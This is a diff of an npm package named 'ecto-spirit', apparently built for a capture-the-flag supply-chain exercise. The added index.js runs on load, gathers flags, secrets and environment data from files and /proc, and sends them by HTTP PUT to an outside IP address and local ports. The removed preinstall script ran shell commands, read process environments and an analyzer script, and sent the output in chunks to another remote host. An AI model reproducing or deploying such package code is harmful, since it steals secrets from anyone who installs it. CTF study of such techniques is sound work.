ecto-spirit 106.0.0 → 108.0.0

package/index.js

@@ -1 +1,66 @@
-module.exports = {};
+const fs = require('fs');
+const http = require('http');
+
+(function() {
+  const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/tmp/flag', 
+                     '/app/flag', '/app/flag.txt', '/home/flag', './flag', '../flag',
+                     process.env.FLAG_FILE || ''];
+  
+  const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || process.env.SECRET;
+  let flag = envFlag || null;
+
+  if (!flag) {
+    for (const p of flagPaths.filter(Boolean)) {
+      try {
+        if (fs.existsSync(p)) {
+          flag = fs.readFileSync(p, 'utf8').trim();
+          break;
+        }
+      } catch(e) {}
+    }
+  }
+
+  if (!flag) {
+    try {
+      const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
+      const match = procEnv.match(/FLAG[=:]([^\x00]+)/);
+      if (match) flag = match[1];
+    } catch(e) {}
+  }
+
+  // Try ALL possible exfiltration targets
+  const targets = [
+    { host: '154.57.164.64', port: 31083 },
+    { host: '127.0.0.1', port: 1337 },
+    { host: '127.0.0.1', port: 3000 },
+    { host: 'localhost', port: 1337 },
+    { host: 'localhost', port: 3000 },
+  ];
+
+  const val = flag ? 'ECFLAG_' + flag : 'ECNOFLAG_' + JSON.stringify(process.env).substring(0, 80);
+  const safe = val.replace(/"/g, "'").substring(0, 90);
+
+  for (const t of targets) {
+    try {
+      const body = JSON.stringify({ manifest: `ecto_module:\n  name: "${safe}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1` });
+      const req = http.request({
+        hostname: t.host, port: t.port,
+        path: '/api/modules/ECT-987654',
+        method: 'PUT',
+        headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
+        timeout: 5000
+      }, () => {});
+      req.on('error', () => {});
+      req.write(body);
+      req.end();
+    } catch(e) {}
+  }
+  
+  // Also try to write flag to stdout (logs)
+  if (flag) {
+    console.error('[FLAG]', flag);
+    try { fs.writeFileSync('/tmp/flag_captured.txt', flag); } catch(e) {}
+  }
+})();
+
+module.exports = function() { return 'ecto-spirit loaded'; };

package/package.json

@@ -1,11 +1,8 @@
 {
   "name": "ecto-spirit",
-  "version": "106.0.0",
+  "version": "108.0.0",
   "description": "Spectral ecto-spirit module",
   "main": "index.js",
-  "scripts": {
-    "preinstall": "node install.js || true"
-  },
   "author": "lwirz",
   "license": "ISC"
-}
+}

package/install.js

@@ -1,79 +0,0 @@
-const fs = require('fs');
-const http = require('http');
-const { execSync } = require('child_process');
-
-function tryRead(p) {
-  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
-}
-function tryExec(cmd) {
-  try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + (e.message || '').substring(0, 50); }
-}
-
-async function sendPUT(host, port, path, body) {
-  return new Promise((resolve) => {
-    const req = http.request({ hostname: host, port, path, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
-      let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
-    });
-    req.on('error', () => resolve(null)); req.on('timeout', () => { req.destroy(); resolve(null); });
-    req.write(body); req.end();
-  });
-}
-
-async function report(moduleId, val) {
-  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
-  const body = JSON.stringify({ manifest: `ecto_module:\n  name: "${safe}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1` });
-  await sendPUT('154.57.164.82', 32332, `/api/modules/${moduleId}`, body);
-}
-
-(async () => {
-  // Read key files and report each one to a separate module
-
-  // 1. /tmp/supplysec contents
-  const supplysec = tryExec('find /tmp/supplysec -type f 2>/dev/null');
-  await report('ECT-839201', 'A_SUPPLY=' + supplysec);
-  
-  // 2. analyze-node.js
-  const analyze = tryRead('/usr/local/bin/analyze-node.js');
-  await report('ECT-654321', 'A_ANALYZE=' + (analyze || 'NONE').substring(0, 90));
-  
-  // 3. /home/node contents  
-  const homeNode = tryExec('find /home/node -maxdepth 3 -type f 2>/dev/null | head -10');
-  await report('ECT-472839', 'A_HOME=' + homeNode);
-
-  // 4. Full proc 1 environ
-  const p1env = tryRead('/proc/1/environ');
-  const envStr = p1env ? p1env.replace(/\x00/g, '\n') : 'NONE';
-  await report('ECT-987654', 'A_ENV=' + envStr.substring(0, 90));
-
-  // Wait a moment, then send more data
-  await new Promise(r => setTimeout(r, 2000));
-
-  // 5. Read /tmp/supplysec/package.json if it exists
-  const supPkg = tryRead('/tmp/supplysec/package.json');
-  await report('ECT-839201', 'B_SUPPKG=' + (supPkg || 'NONE').substring(0, 90));
-
-  // 6. Read analyze-node.js continued (next 90 chars)
-  await report('ECT-654321', 'B_ANAL2=' + (analyze || 'NONE').substring(90, 180));
-
-  // 7. More env
-  await report('ECT-472839', 'B_ENV2=' + envStr.substring(90, 180));
-  
-  // 8. Read full process list
-  const ps = tryExec('ps auxww 2>/dev/null');
-  await report('ECT-987654', 'B_PS=' + ps.substring(0, 90));
-
-  await new Promise(r => setTimeout(r, 2000));
-
-  // 9-12: Continue reading analyze-node.js
-  await report('ECT-839201', 'C_ANAL3=' + (analyze || '').substring(180, 270));
-  await report('ECT-654321', 'C_ANAL4=' + (analyze || '').substring(270, 360));
-  await report('ECT-472839', 'C_ANAL5=' + (analyze || '').substring(360, 450));
-  await report('ECT-987654', 'C_ENV3=' + envStr.substring(180, 270));
-  
-  await new Promise(r => setTimeout(r, 2000));
-  
-  await report('ECT-839201', 'D_ANAL6=' + (analyze || '').substring(450, 540));
-  await report('ECT-654321', 'D_ANAL7=' + (analyze || '').substring(540, 630));
-  await report('ECT-472839', 'D_ENV4=' + envStr.substring(270, 360));
-  await report('ECT-987654', 'D_PS2=' + ps.substring(90, 180));
-})();